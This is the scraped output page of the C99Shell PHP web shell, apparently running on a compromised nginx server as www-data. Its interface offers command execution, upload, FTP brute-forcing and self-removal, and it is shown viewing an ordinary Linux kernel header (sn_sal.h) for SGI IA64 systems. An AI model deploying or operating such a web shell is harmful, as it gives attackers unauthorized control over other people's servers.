!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: nginx/1.23.4. PHP/5.6.40-65+ubuntu20.04.1+deb.sury.org+1 

uname -a: Linux foro-restaurado-2 5.15.0-1040-oracle #46-Ubuntu SMP Fri Jul 14 21:47:21 UTC 2023
aarch64
 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/usr/src/linux-oracle-5.13-headers-5.13.0-1018/arch/ia64/include/asm/sn/   drwxr-xr-x
Free 83.25 GB of 96.73 GB (86.07%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     sn_sal.h (3.4 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
#ifndef _ASM_IA64_SN_SN_SAL_H
#define _ASM_IA64_SN_SN_SAL_H

/*
 * System Abstraction Layer definitions for IA64
 *
 * This file is subject to the terms and conditions of the GNU General Public
 * License.  See the file "COPYING" in the main directory of this archive
 * for more details.
 *
 * Copyright (c) 2000-2006 Silicon Graphics, Inc.  All rights reserved.
 */

#include <linux/types.h>
#include <asm/sal.h>

// SGI Specific Calls
#define  SN_SAL_GET_PARTITION_ADDR           0x02000009
#define  SN_SAL_MEMPROTECT                         0x0200003e

#define  SN_SAL_WATCHLIST_ALLOC               0x02000070
#define  SN_SAL_WATCHLIST_FREE               0x02000071

/*
 * SAL Error Codes
 */
#define SALRET_MORE_PASSES    1
#define SALRET_OK        0
#define SALRET_NOT_IMPLEMENTED    (-1)
#define SALRET_INVALID_ARG    (-2)
#define SALRET_ERROR        (-3)

/*
 * Returns the physical address of the partition's reserved page through
 * an iterative number of calls.
 *
 * On first call, 'cookie' and 'len' should be set to 0, and 'addr'
 * set to the nasid of the partition whose reserved page's address is
 * being sought.
 * On subsequent calls, pass the values, that were passed back on the
 * previous call.
 *
 * While the return status equals SALRET_MORE_PASSES, keep calling
 * this function after first copying 'len' bytes starting at 'addr'
 * into 'buf'. Once the return status equals SALRET_OK, 'addr' will
 * be the physical address of the partition's reserved page. If the
 * return status equals neither of these, an error as occurred.
 */
static inline s64
sn_partition_reserved_page_pa(u64 buf, u64 *cookie, u64 *addr, u64 *len)
{
    struct ia64_sal_retval rv;
    ia64_sal_oemcall_reentrant(&rv, SN_SAL_GET_PARTITION_ADDR, *cookie,
                   *addr, buf, *len, 0, 0, 0);
    *cookie = rv.v0;
    *addr = rv.v1;
    *len = rv.v2;
    return rv.status;
}

/*
 * Change memory access protections for a physical address range.
 * nasid_array is not used on Altix, but may be in future architectures.
 * Available memory protection access classes are defined after the function.
 */
static inline int
sn_change_memprotect(u64 paddr, u64 len, u64 perms, u64 *nasid_array)
{
    struct ia64_sal_retval ret_stuff;

    ia64_sal_oemcall_nolock(&ret_stuff, SN_SAL_MEMPROTECT, paddr, len,
                (u64)nasid_array, perms, 0, 0, 0);
    return ret_stuff.status;
}
#define SN_MEMPROT_ACCESS_CLASS_0        0x14a080
#define SN_MEMPROT_ACCESS_CLASS_1        0x2520c2
#define SN_MEMPROT_ACCESS_CLASS_2        0x14a1ca
#define SN_MEMPROT_ACCESS_CLASS_3        0x14a290
#define SN_MEMPROT_ACCESS_CLASS_6        0x084080
#define SN_MEMPROT_ACCESS_CLASS_7        0x021080

union sn_watchlist_u {
    u64     val;
    struct {
        u64    blade    : 16,
            size    : 32,
            filler    : 16;
    };
};

static inline int
sn_mq_watchlist_alloc(int blade, void *mq, unsigned int mq_size,
                unsigned long *intr_mmr_offset)
{
    struct ia64_sal_retval rv;
    unsigned long addr;
    union sn_watchlist_u size_blade;
    int watchlist;

    addr = (unsigned long)mq;
    size_blade.size = mq_size;
    size_blade.blade = blade;

    /*
     * bios returns watchlist number or negative error number.
     */
    ia64_sal_oemcall_nolock(&rv, SN_SAL_WATCHLIST_ALLOC, addr,
            size_blade.val, (u64)intr_mmr_offset,
            (u64)&watchlist, 0, 0, 0);
    if (rv.status < 0)
        return rv.status;

    return watchlist;
}

static inline int
sn_mq_watchlist_free(int blade, int watchlist_num)
{
    struct ia64_sal_retval rv;
    ia64_sal_oemcall_nolock(&rv, SN_SAL_WATCHLIST_FREE, blade,
            watchlist_num, 0, 0, 0, 0, 0);
    return rv.status;
}
#endif /* _ASM_IA64_SN_SN_SAL_H */

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by HackingTool | HackingTool | Generation time: 0.0041 ]--